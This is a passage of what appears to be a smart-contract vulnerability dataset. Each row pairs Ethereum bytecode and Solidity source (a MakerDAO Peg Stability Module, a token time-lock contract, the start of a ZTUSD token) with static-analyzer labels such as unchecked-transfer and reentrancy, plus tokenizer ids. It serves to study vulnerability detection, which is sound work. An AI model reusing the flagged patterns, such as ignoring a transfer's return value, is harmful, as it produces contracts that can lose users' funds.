72206e6f6e6578697374656e7420746f6b656e383634633539336433343038376436373837396630366665643038383038616666663234643334333038626236316563343237383064393062346437333262664552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724f776e65722063616e6e6f74206d696e742061667465722073616c65206f70656e734552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a2646970667358221220e58f8bfe90ac4d8e80d366d666cb85b0009548eb94733423174bf45976ce69ba64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16147, 2850, 2497, 16409, 2475, 15878, 21619, 2581, 2683, 2683, 23777, 2497, 22203, 10354, 9818, 17134, 2549, 3207, 2278, 21486, 2497, 2581, 2549, 7959, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 17174, 13102, 18491, 1013, 9413, 2278, 16048, 2629, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,037
0x961Ae24a1Ceba861D1FDf723794f6024Dc5485Cf
// hevm: flattened sources of src/psm.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity >=0.5.12 >=0.6.12 <0.7.0; ////// lib/dss-interfaces/src/dss/DaiAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/dai.sol interface DaiAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); function nonces(address) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external view returns (bytes32); function transfer(address, uint256) external; function transferFrom(address, address, uint256) external returns (bool); function mint(address, uint256) external; function burn(address, uint256) external; function approve(address, uint256) external returns (bool); function push(address, uint256) external; function pull(address, uint256) external; function move(address, address, uint256) external; function permit(address, address, uint256, uint256, bool, uint8, bytes32, bytes32) external; } ////// lib/dss-interfaces/src/dss/DaiJoinAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/join.sol interface DaiJoinAbstract { function wards(address) external view returns (uint256); function rely(address usr) external; function deny(address usr) external; function vat() external view returns (address); function dai() external view returns (address); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } ////// lib/dss-interfaces/src/dss/VatAbstract.sol /* pragma solidity >=0.5.12; */ // https://github.com/makerdao/dss/blob/master/src/vat.sol interface VatAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function can(address, address) external view returns (uint256); function hope(address) external; function nope(address) external; function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); function urns(bytes32, address) external view returns (uint256, uint256); function gem(bytes32, address) external view returns (uint256); function dai(address) external view returns (uint256); function sin(address) external view returns (uint256); function debt() external view returns (uint256); function vice() external view returns (uint256); function Line() external view returns (uint256); function live() external view returns (uint256); function init(bytes32) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function cage() external; function slip(bytes32, address, int256) external; function flux(bytes32, address, address, uint256) external; function move(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function fork(bytes32, address, address, int256, int256) external; function grab(bytes32, address, address, address, int256, int256) external; function heal(uint256) external; function suck(address, address, uint256) external; function fold(bytes32, address, int256) external; } ////// src/psm.sol // Copyright (C) 2021 Dai Foundation // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* import { DaiJoinAbstract } from "dss-interfaces/dss/DaiJoinAbstract.sol"; */ /* import { DaiAbstract } from "dss-interfaces/dss/DaiAbstract.sol"; */ /* import { VatAbstract } from "dss-interfaces/dss/VatAbstract.sol"; */ interface AuthGemJoinAbstract { function dec() external view returns (uint256); function vat() external view returns (address); function ilk() external view returns (bytes32); function join(address, uint256, address) external; function exit(address, uint256) external; } // Peg Stability Module // Allows anyone to go between Dai and the Gem by pooling the liquidity // An optional fee is charged for incoming and outgoing transfers contract DssPsm { // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1); _; } VatAbstract immutable public vat; AuthGemJoinAbstract immutable public gemJoin; DaiAbstract immutable public dai; DaiJoinAbstract immutable public daiJoin; bytes32 immutable public ilk; address immutable public vow; uint256 immutable internal to18ConversionFactor; uint256 public tin; // toll in [wad] uint256 public tout; // toll out [wad] // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event File(bytes32 indexed what, uint256 data); event SellGem(address indexed owner, uint256 value, uint256 fee); event BuyGem(address indexed owner, uint256 value, uint256 fee); // --- Init --- constructor(address gemJoin_, address daiJoin_, address vow_) public { wards[msg.sender] = 1; emit Rely(msg.sender); AuthGemJoinAbstract gemJoin__ = gemJoin = AuthGemJoinAbstract(gemJoin_); DaiJoinAbstract daiJoin__ = daiJoin = DaiJoinAbstract(daiJoin_); VatAbstract vat__ = vat = VatAbstract(address(gemJoin__.vat())); DaiAbstract dai__ = dai = DaiAbstract(address(daiJoin__.dai())); ilk = gemJoin__.ilk(); vow = vow_; to18ConversionFactor = 10 ** (18 - gemJoin__.dec()); dai__.approve(daiJoin_, uint256(-1)); vat__.hope(daiJoin_); } // --- Math --- uint256 constant WAD = 10 ** 18; uint256 constant RAY = 10 ** 27; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } // --- Administration --- function file(bytes32 what, uint256 data) external auth { if (what == "tin") tin = data; else if (what == "tout") tout = data; else revert("DssPsm/file-unrecognized-param"); emit File(what, data); } // hope can be used to transfer control of the PSM vault to another contract // This can be used to upgrade the contract function hope(address usr) external auth { vat.hope(usr); } function nope(address usr) external auth { vat.nope(usr); } // --- Primary Functions --- function sellGem(address usr, uint256 gemAmt) external { uint256 gemAmt18 = mul(gemAmt, to18ConversionFactor); uint256 fee = mul(gemAmt18, tin) / WAD; uint256 daiAmt = sub(gemAmt18, fee); gemJoin.join(address(this), gemAmt, msg.sender); vat.frob(ilk, address(this), address(this), address(this), int256(gemAmt18), int256(gemAmt18)); vat.move(address(this), vow, mul(fee, RAY)); daiJoin.exit(usr, daiAmt); emit SellGem(usr, gemAmt, fee); } function buyGem(address usr, uint256 gemAmt) external { uint256 gemAmt18 = mul(gemAmt, to18ConversionFactor); uint256 fee = mul(gemAmt18, tout) / WAD; uint256 daiAmt = add(gemAmt18, fee); require(dai.transferFrom(msg.sender, address(this), daiAmt), "DssPsm/failed-transfer"); daiJoin.join(address(this), daiAmt); vat.frob(ilk, address(this), address(this), address(this), -int256(gemAmt18), -int256(gemAmt18)); gemJoin.exit(usr, gemAmt); vat.move(address(this), vow, mul(fee, RAY)); emit BuyGem(usr, gemAmt, fee); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80639c52a7f111610097578063c5ce281e11610066578063c5ce281e146103eb578063dc4d20fa14610409578063f4b9fa751461044d578063fae036d51461048157610100565b80639c52a7f1146102d7578063a3b22fc41461031b578063bf353dbb1461035f578063c11645bc146103b757610100565b8063626cb3c5116100d3578063626cb3c5146101c357806365fae35e146101f75780638d7ef9bb1461023b578063959912761461028957610100565b806301664f661461010557806329ae81141461013957806336569e7714610171578063568d4b6f146101a5575b600080fd5b61010d61049f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61016f6004803603604081101561014f57600080fd5b8101908080359060200190929190803590602001909291905050506104c3565b005b610179610621565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101ad610645565b6040518082815260200191505060405180910390f35b6101cb61064b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102396004803603602081101561020d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061066f565b005b6102876004803603604081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610744565b005b6102d56004803603604081101561029f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc3565b005b610319600480360360208110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fe565b005b61035d6004803603602081101561033157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d3565b005b6103a16004803603602081101561037557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112c2565b6040518082815260200191505060405180910390f35b6103bf6112da565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f36112fe565b6040518082815260200191505060405180910390f35b61044b6004803603602081101561041f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611322565b005b610455611411565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610489611435565b6040518082815260200191505060405180910390f35b7f0000000000000000000000007bbd8ca5e413bca521c2c80d8d1908616894cf2181565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461050e57600080fd5b7f74696e000000000000000000000000000000000000000000000000000000000082141561054257806001819055506105e5565b7f746f75740000000000000000000000000000000000000000000000000000000082141561057657806002819055506105e4565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f44737350736d2f66696c652d756e7265636f676e697a65642d706172616d000081525060200191505060405180910390fd5b5b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7826040518082815260200191505060405180910390a25050565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b60015481565b7f000000000000000000000000a950524441892a31ebddf91d3ceefa04bf45446681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106ba57600080fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b6000610770827f000000000000000000000000000000000000000000000000000000000000000161143b565b90506000670de0b6b3a76400006107898360025461143b565b8161079057fe5b049050600061079f8383611467565b90507f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561085057600080fd5b505af1158015610864573d6000803e3d6000fd5b505050506040513d602081101561087a57600080fd5b81019080805190602001909291905050506108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f44737350736d2f6661696c65642d7472616e736665720000000000000000000081525060200191505060405180910390fd5b7f0000000000000000000000009759a6ac90977b93b58547b4a71c78317f391a2873ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561098e57600080fd5b505af11580156109a2573d6000803e3d6000fd5b505050507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663760887037f50534d2d5041582d41000000000000000000000000000000000000000000000030303088600003896000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050507f0000000000000000000000007bbd8ca5e413bca521c2c80d8d1908616894cf2173ffffffffffffffffffffffffffffffffffffffff1663ef693bed86866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610b5257600080fd5b505af1158015610b66573d6000803e3d6000fd5b505050507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663bb35783b307f000000000000000000000000a950524441892a31ebddf91d3ceefa04bf454466610bde866b033b2e3c9fd0803ce800000061143b565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610c4e57600080fd5b505af1158015610c62573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff167f085d06ecf4c34b237767a31c0888e121d89546a77f186f1987c6b8715e1a8caa8584604051808381526020018281526020019250505060405180910390a25050505050565b6000610cef827f000000000000000000000000000000000000000000000000000000000000000161143b565b90506000670de0b6b3a7640000610d088360015461143b565b81610d0f57fe5b0490506000610d1e8383611481565b90507f0000000000000000000000007bbd8ca5e413bca521c2c80d8d1908616894cf2173ffffffffffffffffffffffffffffffffffffffff1663d14b1e4b3086336040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b158015610dcf57600080fd5b505af1158015610de3573d6000803e3d6000fd5b505050507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663760887037f50534d2d5041582d41000000000000000000000000000000000000000000000030303088896040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015610ee457600080fd5b505af1158015610ef8573d6000803e3d6000fd5b505050507f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663bb35783b307f000000000000000000000000a950524441892a31ebddf91d3ceefa04bf454466610f70866b033b2e3c9fd0803ce800000061143b565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610fe057600080fd5b505af1158015610ff4573d6000803e3d6000fd5b505050507f0000000000000000000000009759a6ac90977b93b58547b4a71c78317f391a2873ffffffffffffffffffffffffffffffffffffffff1663ef693bed86836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff167fef75f5a47cc9a929968796ceb84f19e7541617b4577f2c228ea95200e15720818584604051808381526020018281526020019250505060405180910390a25050505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461114957600080fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461121e57600080fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663a3b22fc4826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156112a757600080fd5b505af11580156112bb573d6000803e3d6000fd5b5050505050565b60006020528060005260406000206000915090505481565b7f0000000000000000000000009759a6ac90977b93b58547b4a71c78317f391a2881565b7f50534d2d5041582d41000000000000000000000000000000000000000000000081565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461136d57600080fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663dc4d20fa826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156113f657600080fd5b505af115801561140a573d6000803e3d6000fd5b5050505050565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b60025481565b600080821480611458575082828385029250828161145557fe5b04145b61146157600080fd5b92915050565b600082828401915081101561147b57600080fd5b92915050565b600082828403915081111561149557600080fd5b9291505056fea26469706673582212202387b01d82fcfe8fd32f3ef35669990d22bcb8c86ab6b0d28db3564eb0f2534364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 6679, 18827, 27717, 3401, 3676, 20842, 2487, 2094, 2487, 2546, 20952, 2581, 21926, 2581, 2683, 2549, 2546, 16086, 18827, 16409, 27009, 27531, 2278, 2546, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 8827, 2213, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 2260, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 16233, 2015, 1011, 19706, 1013, 5034, 2278, 1013, 16233, 2015, 1013, 18765, 7875, 20528, 6593, 1012, 14017, 1013, 1008, 10975, 8490, 2863, 5024, 3012, 1028, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,038
0x961b38e5ab0f879e11182f97e850debecc898df2
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27734400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x035B7242e71d5ffA3221e8445A8F3FD63563Bea5; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a7230582035d33a7b9203f041252a953d25b488073180b0450a8a60b1101de572d4eebed20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 2497, 22025, 2063, 2629, 7875, 2692, 2546, 2620, 2581, 2683, 2063, 14526, 15136, 2475, 2546, 2683, 2581, 2063, 27531, 2692, 3207, 4783, 9468, 2620, 2683, 2620, 20952, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,039
0x961b6b9a8f7b1279f631b0d3af7f243ea8b150ff
// File: contracts/zeppelin/SafeMath.sol pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } // File: contracts/ZTUSDImplementation.sol pragma solidity ^0.4.24; pragma experimental "v0.5.0"; /** * @title ZTUSDImplementation * @dev this contract is a Pausable ERC20 token with Burn and Mint * controleld by a central SupplyController. By implementing Zap Theory Implementation * this contract also includes external methods for setting * a new implementation contract for the Proxy. * NOTE: The storage defined here will actually be held in the Proxy * contract and all calls to this contract should be made through * the proxy, including admin actions done as owner or supplyController. * Any call to transfer against this contract should fail * with insufficient funds since no tokens will be issued there. */ contract ZTUSDImplementation { /** * MATH */ using SafeMath for uint256; /** * DATA */ // INITIALIZATION DATA bool private initialized = false; // ERC20 